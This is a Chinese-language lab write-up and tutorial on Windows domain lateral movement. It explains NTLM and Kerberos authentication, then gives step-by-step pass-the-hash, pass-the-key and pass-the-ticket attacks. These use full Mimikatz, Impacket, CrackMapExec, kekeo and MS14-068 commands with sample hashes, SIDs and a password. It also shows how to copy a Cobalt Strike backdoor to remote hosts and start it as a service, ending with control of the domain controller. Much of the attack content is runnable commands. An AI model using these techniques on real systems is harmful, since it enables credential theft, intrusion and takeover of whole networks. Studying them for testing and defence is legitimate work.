目录
实验所用网络拓朴图
网络环境说明
LM认证
NTLM认证
NTLM Hash
Kerberos认证
TGT票据
服务票据
Windows系统密码存储
域控制器 - 用户登录 域用户 本地用户
域用户和本地管理员
用户登录
Mimikatz抓取密码来源
域内一台主机上可以得到非本地用户Hash的原因
域横向移动:哈希传递攻击(PTH)- NTLM认证攻击
PTH攻击原理
利用方式一:Mimikatz
利用方式二:Impacket
利用方式三:CrackMapExec 密码喷射
域横向移动:密钥传递攻击(PTK)- NTML认证攻击
域横向移动:票据传递攻击(PTT)- Kerberos认证攻击
原理
利用方式一:MS14-068 漏洞利用
利用方式二:kekeo
利用方式三:mimikatz
实验所用网络拓朴图
网络环境说明
攻击机:
LInux IP:47.94.236.117
内网环境:单域环境
Webserver:内网主机的网络出口,已拿到权限,通过它进行内网横向移动
IP:192.168.46.146 192.168.3.31
DC:域控 IP:192.168.3.21
Jack-PC: IP:192.168.3.29
Mary-PC: IP:192.168.3.25
SQLServer:IP:192.168.3.32
FileServer: IP:192.168.3.30
前期的信息收集就不做了,前面两篇文章已有详细说明
已经提权至system权限在webserver上
前面的实验大部分都是基于明文的实验,除此以外,还可以根据哈希,票据,密钥进行攻击。
LM认证
LM(LAN Manager)认证是一种早期的Windows密码认证协议,用于在Windows系统中进行用户身份验证。它已被现代的NTLM(NT LAN Manager)和Kerberos认证所取代,但在某些旧版本的Windows系统中仍然存在。
LM认证的基本原理如下:
-
密码分割:LM认证将用户密码以固定长度(7个字符)的块进行分割,然后分别对每个块进行处理。这是因为早期的Windows系统对密码长度有限制,并且使用了较弱的加密算法。
-
哈希计算:对每个分割后的密码块,LM认证使用DES(Data Encryption Standard)加密算法进行哈希计算。LM哈希算法在DES的基础上进行了一些变种,包括添加了固定的盐值和填充。
-
会话密钥:LM认证使用用户的密码哈希值作为会话密钥,用于加密与服务器的通信。这意味着在每次与服务器进行身份验证时,都会使用相同的密码哈希值作为密钥。
这个不需要过多了解,因为基本用不上。
NTLM认证
NTLM(NT LAN Manager)是一种用于身份验证的协议,最初由微软开发并用于Windows操作系统。NTLM认证是基于NTLM协议进行的身份验证过程。
NTLM认证过程通常包括以下步骤:
-
客户端发送请求:客户端向服务器发送身份验证请求,请求访问特定资源或服务。
-
服务器响应挑战:服务器收到客户端的请求后,生成一个随机的挑战值(Challenge)并发送给客户端。
-
客户端响应:客户端接收到服务器发送的挑战值后,使用用户提供的密码进行计算,生成一个NTLM响应(NTLM Response)。
-
服务器验证:客户端将生成的NTLM响应发送给服务器。服务器接收到NTLM响应后,使用存储在系统中的用户密码的NTLM Hash值进行比对。如果NTLM响应与存储的NTLM Hash值匹配,则验证成功。
-
会话安全性:如果NTLM验证成功,服务器和客户端将建立一个安全的会话,该会话在后续的通信中可以使用。
需要注意的是,NTLM认证是一种挑战-响应式的认证协议,并且使用基于密码的验证机制。客户端和服务器之间通过挑战和响应来验证客户端的身份,并确保通信的安全性。
然而,NTLM认证在安全性方面存在一些弱点,例如易受中间人攻击和哈希传递攻击等。因此,现代的Windows系统通常推荐使用更安全的认证协议,如Kerberos认证,以提供更强大的身份验证和会话安全性。
NTLM Hash
NTLM(NT LAN Manager)是一种用于身份验证和安全的协议,最初由微软开发并用于Windows操作系统。NTLM Hash值是NTLM协议中使用的一种密码散列算法生成的密码哈希值。
NTLM Hash值是根据用户提供的密码计算得出的,它并不是密码的明文形式。密码哈希是通过将用户密码经过一系列复杂的算法和处理转换成一个固定长度的字节序列。这个哈希值是密码的不可逆转表示,无法从哈希值还原出原始密码。
NTLM Hash值在Windows系统中被广泛使用,尤其是在早期版本的Windows操作系统中。在NTLM身份验证过程中,用户输入的密码会被转换成NTLM Hash值,并与存储在系统中的密码Hash进行比对,以验证用户的身份。
由于NTLM Hash值是不可逆的,即无法从哈希值还原出原始密码,因此在一些安全方案中,存储和传输NTLM Hash值被认为比存储和传输明文密码更安全。这样,即使哈希值被泄露,攻击者也无法直接获取用户的密码。
然而,NTLM Hash值并不是完全安全的,因为它可以成为哈希攻击的目标。通过使用预先计算的彩虹表等技术,攻击者可以尝试将NTLM Hash值与预先计算的哈希值进行匹配,以找到对应的明文密码。为了提高密码的安全性,现代系统通常采用更强大的密码哈希算法,如NTLMv2和更安全的散列算法(如SHA-256或bcrypt),以提供更好的密码保护。
Kerberos认证
Kerberos是一种网络身份认证协议,用于在计算机网络中进行安全的身份验证和访问控制。它由麻省理工学院(MIT)开发,并被广泛用于Windows和其他操作系统中。
Kerberos认证的基本原理如下:
-
认证服务器(AS):用户在客户端输入用户名和密码后,客户端将用户名发送给认证服务器(AS)。这一步现在本地密码加密为Kerberos Hash,发送到AS验证
-
获取票据授予票据(TGT):认证服务器验证用户提供的用户名和密码,并生成一个称为票据授予票据(Ticket Granting Ticket,TGT)。TGT是一个包含用户身份信息和加密密钥的票据,它的目的是用于后续的身份验证请求。
-
会话票据(Service Ticket):一旦客户端获得了TGT,它可以向票据授予服务器(Ticket Granting Server,TGS)发出请求,以获取特定服务的会话票据(Service Ticket)。
-
服务票据验证:客户端使用TGS发放的会话票据向目标服务请求访问。服务使用TGS提供的密钥验证会话票据的有效性,并向客户端提供所需的服务。
Kerberos使用共享密钥密码学来实现安全的身份验证。它通过使用对称密钥加密算法对票据进行加密和解密,以确保票据在网络中的传输过程中的安全性。
Kerberos具有许多优点,包括单点登录(Single Sign-On,SSO)功能,减少了用户在网络中多次输入密码的需求。它还提供了强大的身份验证和授权机制,以保护网络资源免受未经授权的访问。
在Windows领域中,Kerberos是默认的身份验证协议,用于用户在域环境中进行身份验证和访问控制。通过Kerberos认证,用户可以安全地登录域控制器,并获得对域中资源的访问权限。
TGT票据
TGT(Ticket Granting Ticket)是在Kerberos认证中使用的一种票据,用于获取服务票据(Service Ticket)。TGT票据是在用户登录到域中的计算机时由域控制器颁发的,并且具有一定的有效期。
TGT票据的生成和使用流程如下:
-
用户登录:用户在登录到域中的计算机时,向域控制器发送身份验证请求。域控制器验证用户的身份,并为用户生成一个TGT票据。
-
TGT票据生成:域控制器生成TGT票据,其中包含用户的身份信息、有效期、会话密钥等。TGT票据被加密,并使用域控制器的私钥进行签名,以确保其完整性和安全性。
-
TGT票据传递:域控制器将生成的TGT票据发送回用户的计算机。用户的计算机将TGT票据存储在本地,通常存储在内存中,以便后续使用。
-
获取服务票据:当用户需要访问特定资源时,用户的计算机使用存储的TGT票据向域控制器请求服务票据。服务票据用于访问特定的服务或资源,例如文件共享、远程桌面等。
-
服务票据传递:域控制器根据用户的请求生成服务票据,并将其发送回用户的计算机。用户的计算机将服务票据传递给要访问的服务或资源,以获取对其的访问权限。
TGT票据的有效期通常较长,可以在一段时间内允许用户进行多次访问而无需重新进行身份验证。一旦TGT票据过期或被撤销,用户将需要重新进行身份验证来获取新的TGT票据。
服务票据
服务票据(Service Ticket)是在Kerberos认证中使用的一种票据,用于向特定服务或资源进行身份验证和授权。服务票据授予持有者对特定服务或资源的访问权限。
以下是服务票据的生成和使用过程:
-
用户请求服务票据:当用户需要访问某个服务或资源时,用户的计算机向域控制器发送请求,要求生成一个针对该服务的服务票据。
-
域控制器验证请求:域控制器接收到用户的请求后,验证用户的身份和权限。如果用户具有合法的TGT(Ticket Granting Ticket),并且有权访问所请求的服务,则域控制器生成一个服务票据。
-
服务票据生成:域控制器生成服务票据,其中包含用户的身份信息、服务的标识、有效期、会话密钥等。服务票据被加密,并使用服务的密钥进行签名,以确保其完整性和安全性。
-
服务票据传递:域控制器将生成的服务票据发送回用户的计算机。用户的计算机将服务票据存储在本地,通常存储在内存中。
-
访问服务或资源:用户的计算机使用存储的服务票据向目标服务或资源发送请求。服务或资源使用服务票据进行身份验证和授权,判断用户是否具有访问权限。如果服务票据有效且合法,用户将被授予对服务或资源的访问权限。
服务票据通常具有较短的有效期,以确保安全性。一旦服务票据过期,用户需要重新请求并获取新的服务票据才能继续访问服务或资源。
TGT,服务票据都存储在内存中,且具有时间限制
Windows系统密码存储
在一般情况下,Windows操作系统并不会将用户密码的Hash持久存储在内存中。密码Hash通常在进行身份验证时被使用,而不是在内存中持久保存。
然而,有一些情况下密码Hash可能会暂时存储在内存中:
-
登录过程:当用户使用用户名和密码登录到系统时,操作系统会将用户提供的密码转换为Hash值,并将其与存储在安全数据库(如SAM数据库)中的用户密码Hash进行比对。这个过程中,密码Hash会暂时存在于内存中用于验证用户的凭据。
-
进程执行:在某些情况下,某些进程或服务可能需要使用密码Hash进行身份验证或访问敏感信息。在这种情况下,密码Hash可能会被加载到内存中供进程使用。
需要注意的是,密码Hash在内存中的存在是短暂的,它们不会长时间保留在内存中。操作系统和应用程序通常会尽快清除和销毁敏感信息,以保护用户的安全和隐私。
也就是说用户的登录密码在登陆后会被加密为一串Hash值,这个Hash就被成为NTLM Hash,存在在硬盘上。
域控制器 - 用户登录 域用户 本地用户
解释一些前面的疑惑
域用户和本地管理员
在域环境中,域用户是由域控制器生成和管理的。当在域控制器上创建一个新用户账户时,该账户的信息将被存储在域控制器的用户数据库中,并生成一个唯一的安全标识符(SID)来标识该用户账户。
当新用户账户在域控制器上创建后,该用户可以登录到域控制器和域中的其他计算机。用户可以使用其域账号和密码进行身份验证,并被授予域中其他资源的访问权限。
也就说计算机上用户分为有两种:
- 计算机本地的用户,比如本地管理员账户,本地普通用户
- 通过域管理器生成的域用户
用户登录
在非域环境,用户登录计算机,会核对账号,密码生成Hash密码对比数据库,而域用户并非本地用户却能登录,而且其它的域用户也可以登录其它的主机?
在域环境中,域控制器是负责管理和维护整个域的关键服务器。域控制器存储了域中的用户账户、计算机账户、安全策略等信息,并负责身份验证和授权等功能。
当域内用户登录到域中的一台主机时,该主机会将用户提供的登录凭据发送给域控制器进行身份验证。域控制器验证用户的凭据是否正确,并确定用户是否具有访问该主机的权限。
一旦用户的身份验证成功,并且用户在域中具有访问其他主机的权限,域控制器会生成一个安全的登录令牌并将其传递给用户。该登录令牌包含有关用户的安全上下文和权限信息。
使用该登录令牌,用户可以通过网络访问域中的其他主机,而无需重新进行身份验证。当用户尝试登录到其他域内主机时,该主机会接收到用户的登录请求,并将其传递给域控制器进行验证。域控制器会验证登录令牌的有效性,并确认用户是否具有访问该主机的权限。如果验证成功,用户将被授予登录该主机的权限。
这种方式使得域内用户可以在整个域中自由地移动和访问资源,而无需为每台主机单独进行身份验证。这提供了更便捷的登录和访问体验,并通过域控制器的集中管理确保了安全性。
Mimikatz抓取密码来源
windows用户登陆后,会把密码哈希算法加密生成Hash值存储在计算机上sam文件
Mimikatz是一款流行的开源工具,用于进行Windows内存取证和密码抓取。它可以从多个位置抓取到密码,包括:
-
LSASS进程内存:LSASS(Local Security Authority Subsystem Service)是Windows系统中负责处理用户登录凭据和安全相关操作的关键进程。Mimikatz可以通过注入代码或者直接读取LSASS进程的内存,从中提取明文密码、密码哈希值以及其他凭据信息。
-
SAM文件:SAM文件是Windows系统中存储本地账户信息的数据库文件。Mimikatz可以读取SAM文件,解密和提取其中的密码哈希值。
-
Credential Manager:Credential Manager是Windows系统中用于管理用户凭据的组件。Mimikatz可以检索并抓取Credential Manager中存储的密码和凭据信息。
-
LSA Secrets:LSA Secrets是Windows系统中存储敏感信息的地方,包括密码、凭据、证书等。Mimikatz可以提取LSA Secrets中的密码和凭据信息。
域内一台主机上可以得到非本地用户Hash的原因
一台主机可能会被多个用户登陆过,本地管理员,本地域用户,其它域用户,域控账户,在他们登录的期间,可能会做一些操作,比如修改等等,做这些事情是需要权限的,域内用户,域控判断是否又权限就需要一些认证的协议,比如LM,NTLM,Kerberos协议进行认证,本地用户通过NTML Hash比对SAM文件,就会用到自己的NTML Hash,以及TGT票据,这些会遗留在当前计算机文件,内存中,这些就可以被我们拿来利用。通过这些凭据可以登录别的主机,想用主机上该用户的权限。
我们拿到一台计算机的最高权限后,就可以通过Mimikatz工具抓取计算机上所有的明文密码以及密码的Hash值,这些既有本地用户的,也有域用户的。这就是横向移动攻击手法,不断收集这些Hash值,通过Hash值可以反过来登录其它主机(主机上有该用户),在获取明文密码以及密码Hash值,如果其中有用户的权限是高权限,就可以控制这台机器,最终控制整个网络。
域横向移动:哈希传递攻击(PTH)- NTLM认证攻击
PTH:Pass The Hash,通过密码散列值 (通常是NTLM Hash)来进行攻击。
PTH在内网渗透中是一种很经典的攻击方式,原理就是攻击者可以直接通过LM Hash和NTLM Hash访问远程主机或服务,而不用提供明文密码。
Window Server 2012 R2之前使用到的密码散列值是LM、NTLM,在2012 R2及其版本之后使用到的密码散列值是NTLM Hash。
KB2871997补丁后的影响
PTH:没打补丁用户都可以连接,打了补丁只能administrator连接
可能存在这样一种情况:就是域内所有的计算机的本地管理员账户,密码均相同以及域控的账号密码,就可以通过抓取一台主机上的Hash而登录所有域内的主机。
PTH攻击原理
哈希传递攻击(Pass-the-Hash Attack)是一种利用密码哈希值进行身份验证的攻击技术。它利用了某些系统中存储的密码哈希值来直接进行身份验证,而不需要明文密码。以下是哈希传递攻击的一般原理:
-
攻击者获取到目标用户的密码哈希值:攻击者可以通过各种手段获取到目标用户的密码哈希值,如通过网络嗅探、操作系统的漏洞利用、恶意软件等方式。
-
使用密码哈希值进行身份验证:攻击者将获取到的密码哈希值直接传递给目标系统进行身份验证,而无需明文密码。
-
伪装为合法用户:如果密码哈希值正确,目标系统会将攻击者视为目标用户,授予其相应的权限和访问权限。
在Webserver上抓取密码,抓到的Hash
利用方式一:Mimikatz
在CS中执行下面这条命令,有个缺点:这条命令运行后会在Webserver弹出cmd,不是在CS上
不需要加上shell,它是CS自带的命令
mimikatz sekurlsa::pth /user:administrator /domain:192.168.3.32 /ntlm:518b98ad4178a53695dc997aa02d455c
之后在webserver上弹出一个黑窗口
Webserver本地cmd窗口对比通过Mimikatz的cmd窗口
Mimikatz的cmd窗口
Webserver本地cmd窗口
因为第一个cmd是Mimikatz通过PTH攻击,返回了192.168.3.32的system权限的反弹cmd
然后就可以通过这个cmd窗口进行上线
上线流程:反向连接
CS的Weberver的system权限会话 - 代理转发 - 转发上线
配置监听器
生成后门,通过CS上传到webserver上
执行命令,从webserver上下载到192.168.3.32
copy C:\Users\webadmin\Desktop\webserver4444.exe \\192.168.3.32\c$
执行后门,使用命令创建一个服务bindshell,地址为后门可执行程序
这个sqlserver是对方的地址,也可以填写内网的IP:192.168.3.32
sc \\sqlserver create bshell binpath= "c:\webserver4444.exe"
启动服务
sc \\sqlserver start bshell
利用方式二:Impacket
通过代理技术,把攻击机流量代理给CS转发进入内网
CS:代理转发-SOCKS代理
攻击机:配置proxifier代理
之前学习了IPC,WMI,SMB的协议横向移动,均可以利用到PTH
可以是使用这Impacket进行哈希传递攻击
python3 psexec.py -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32 #返回system权限
python3 smbexec.py -hashes :518b98ad4178a53695dc997aa02d455c /administrator@192.168.3.32 #返回system权限
python3 wmiexec.py -hashes :518b98ad4178a53695dc997aa02d455c /administrator@192.168.3.32 #返回administrator权限
返会一个cmd窗口在攻击机本地(这一点就优于利用方式一)
这里是不能使用copy命令直接传后门的,因而这是在攻击机上的
通过CS上传木马到webserver的web服务根目录,在攻击机的反弹的cmd窗口进行执行下载命令,就可以令目标下载后们,运行木马
上线
通过CS上红框前面的显示可以看出,sqlserver主机连接的是(Webserver)192.168.3.32
也就是说这里上线的控制是CS通过Webserver连接到的Sqlserver
原本的网络情况还是CS服务器无法和内网通讯,攻击机也是如此
利用方式三:CrackMapExec 密码喷射
看域内用户谁用这个哈希值,先比对一下,判断处一组正确的用户名和哈希值,再尝试生成票据去连接主机,权限如果够的话,就可以成功登录
proxychains python cme smb 192.168.3.21-32 -u user.txt -H 518b98ad4178a53695dc997aa02d455c #域用户HASH登录
proxychains python cme smb 192.168.3.21-32 -u administrator -H 518b98ad4178a53695dc997aa02d455c --local-auth #本地用户HASH登录
接下来可以用户和哈希生成票据,然后尝试连接
域横向移动:密钥传递攻击(PTK)- NTML认证攻击
这个很鸡肋,基本碰不到
PTK = Pass The Key
PTK:打了补丁才能用户都可以连接,采用aes256连接,当系统安装了KB2871997补丁且禁用了NTLM的时候,两个条件都要满足才能采用aes
那我们抓取到的ntlm hash也就失去了作用,但是可以通过PTK的攻击方式获得权限。
CS中使用:
mimikatz sekurlsa::ekeys
得到一些aes值
mimikatz sekurlsa::pth /user:域用户名 /domain:域名 /aes256:aes256值
mimikatz sekurlsa::pth /user:administrator /domain:god /aes256:9f64a722743a06840e2fc30e69c56c07feb23e32fc177d165f272cb5790ce98b
执行成功之后会在webserver靶机上弹出一个cmd窗口,但是无法使用net use \192.168.3.32\c$ 连接,对方机器未必会开启aes验证,也不满足漏洞利用条件
域横向移动:票据传递攻击(PTT)- Kerberos认证攻击
PTT:Pass The Ticket 票据类似于Web的Cookie,Session,就是用于用户身份验证
PTT攻击的部分就不是简单的NTLM认证了,它是利用Kerberos协议进行攻击的,这里就介绍三种常见的攻击方法:
一. 利用MS14-068漏洞直接就可以伪造合法的票据,直接把低权限票据提升至高权限
二. 窃取NTML Hash直接生成TGT票据,加载进入内存使用,这个需要考虑到NTML Hash对应用户的权限大小
三. 窃取内存遗留的TGT票据,逐一重新导入内存,测试是否又可利用票据,如果又高权限用户登录遗留的TGT票据,比如域控,不仅可以拿下对方主机,还能拿下整个内网。
原理
票据传递攻击(Pass-the-Ticket Attack)是一种针对Windows域环境中使用Kerberos认证的攻击方法。该攻击利用被窃取的Kerberos票据(Ticket)来伪装为合法用户,获取对系统资源的访问权限。简单来说就是将连接合法的票据注入到内存中实现连接。
以下是票据传递攻击的原理:
-
获取TGT票据:攻击者首先需要获取到一个有效的TGT(Ticket Granting Ticket)票据。TGT是在用户登录到域中的计算机时由域控制器颁发的票据,用于获取服务票据(Service Ticket)。
-
注入TGT票据:攻击者将获取到的TGT票据注入到目标主机的内存中。这通常需要获取目标主机的管理员权限或者使用其他漏洞来实现。
-
伪装为合法用户:通过注入TGT票据,攻击者可以伪装成合法用户,并在目标主机上使用这个伪造的票据来获取访问资源的权限。
-
获取服务票据:使用注入的TGT票据,攻击者可以向目标主机请求服务票据。服务票据是用于访问特定资源的票据,比如文件共享、远程桌面等。
-
使用服务票据访问资源:一旦攻击者获取了有效的服务票据,就可以使用这些票据来访问目标主机上的资源,包括敏感文件、系统配置等。
票据传递攻击利用了Kerberos的单点登录机制和票据传递功能,使得攻击者可以在目标系统上获得合法用户的权限,而无需知道用户的明文密码。这种攻击方法对于域环境中的攻击非常有效,因为域用户的票据在域内的多台主机上都是有效的。
利用方式一:MS14-068 漏洞利用
MS14-068是密钥分发中心(KDC)服务中的Windows漏洞,伪造用户身份TGT票据。
该漏洞位于kdcsvc.dll域控制器的密钥分发中心(KDC)中。它允许经过身份验证的用户在其Kerberos票证(TGT)中插入任意PAC。用户可以通过呈现具有改变的PAC的Kerberos TGT来获得票证。类似Web的cookie伪造技术
漏洞利用项目:
https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068
https://github.com/gentilkiwi/kekeo/releases
在Webservre上尝试连接域控主机的C盘,需要对方密码才行,这里建议域内使用计算机名连接访问,使用IP地址可能会失效
下面演示使用webadmin普通用户权限利用MS14-068上线域控DC
shell whoami/user #获取sid
利用程序太大,不建议上传到webserver中,可能会有数据的丢失,使用代理的话需要将webserver提升到system权限
利用这个工具生成一个票据文件,参数解释:Webserver主机的域用户名,密码,SID值
域用户:Webadmin 上面命令获取,密码,抓取本机密码(要权限),SID(上面命令获取)
作用:通过Webadmin用户向Kerberos服务器(域控)请求生成Webadmin的TGT,在TGT中插入任意PAC,生成一张新的票据,这张票据是高权限的,是域控的。
shell ms14-068.exe -u webadmin@god.org -s S-1-5-21-1218902331-2157346161-1782232778-1132 -d 192.168.3.21 -p admin!@#45
CS执行命令
shell klist 显示Webserver上的票据
Webserver上有四条票据
清理所有的票据
shell klist purge 清除票据
使用mimikatz将票据(上传到目标主机上)导入内存
先通过CS上传票据到Webserver上去
执行命令
mimikatz kerberos::ptc TGT_webadmin@god.org.ccache
注入成功
查看票据
shell klist
10个小时时间内票据有效
CS中尝试连接
shell dir \\OWA2010CN-GOD\c$ #未导入票据之前显示拒绝访问
票据是由时效期的,过期即失效
需要注意到一个点,在使用工具生成票据的时候,需要能访问内网的域控,这里要么上传工具到Webserver,要么建立代理,工具太大,不能上传,建立代理需要Webserver拿到系统权限,才能把代理搭建起来。所以这个漏洞的利用方式需要跳板机的高权限,而且最开始还需要抓取到Webserver的明文密码,所以需要Webserver取得高权限才能利用这个漏洞。
之后CS上线域控
shell copy webserver4444.exe \\OWA2010CN-GOD\C$
shell sc \\OWA2010CN-GOD create bindshell binpath= "c:\webserver4444.exe"
shell sc \\OWA2010CN-GOD start bindshell
利用方式二:kekeo
利用NTML HASH生成票据
这个漏洞的利用需要Webserver具有高权限
这里会使用到一个工具,Kekeo 大小仅500多KB,可以选择上传到Webserver利用
上传工具到Webserver
生成票据
shell kekeo "tgt::ask /user:webadmin /domain:god.org /ntlm:518b98ad4178a53695dc997aa02d455c" "exit"
如果是代理方式在攻击机运行的话,就需要输入这两条命令
tgt::ask /user:webadmin /domain:god.org /ntlm:518b98ad4178a53695dc997aa02d455c
exit
因为你打开这个工具运行后是这样的
CS生成票据文件
先清空,再导入票据 到内存中
shell kekeo "kerberos::ptt TGT_webadmin@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi" "exit"
查看票据,内存中就会出现一张新的票据
shell klist
尝试连接访问域控,连接失败
原因:这里生成的票据是webadmin的Hash的票据,它是地权限的
这次利用administrator的Hash生成票据,这个Hash是域控的Hash,这个Hash是通过横向移动别的主机拿到的。利用这个Hash生成新的票据
shell kekeo "tgt::ask /user:administrator /domain:god.org /ntlm:518b98ad4178a53695dc997aa02d455c" "exit"
shell kekeo "kerberos::ptt TGT_administrator@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi" "exit"
shell klist
shell dir \owa2010cn-god\c$
有了域控的Hash也可以采用利用PTH方式,但是这个方式有个缺点:需要协议端口,如果协议端口给封了就没办法了。而且这两种攻击方式原理也不一样,方式一是把Hash给主机认证。而PTK是把Hash给Kerberos认证。也就是说获取到NTML Hash后又两种利用方向:PTH,PTT
利用方式三:mimikatz
导出票据,获取当前计算机上的所有票据文件,这是这台计算机的所有票据文件,上一步清空只是断开了所有的连接,这时包括以前连接过的。
mimikatz sekurlsa::tickets /export
导入某一张票据到内存
mimikatz kerberos::ptt C:\Users\webadmin\Desktop\[0;3e4]-2-0-60a00000-WEBSERVER$@krbtgt-GOD.ORG.kirbi
前面是Webserver用户,后面是协议,登录Webserver的用户
查看票据
shell klist
说明这张无效了
用域管理员登录这台设备,登陆之后还是导不出administrator的票据的话,就使用DC域控远程桌面连接一下webserver靶机,使用administrator登陆,模拟一下利用条件
重新导出票据
mimikatz sekurlsa::tickets /export
导入这张票据 ,是域控用户遗留的TGT票据,由于刚刚留下,还没过时限,可以利用
mimikatz kerberos::ptt C:\Users\webadmin\Desktop\[0;f1818]-2-0-60a00000-Administrator@krbtgt-GOD.ORG.kirbi #导入票据 使用krbtgt协议的票据
shell klist
shell dir \\owa2010cn-god\c$
成功反弹回来域控主机的cmd窗口,上线后,拿下整个内网!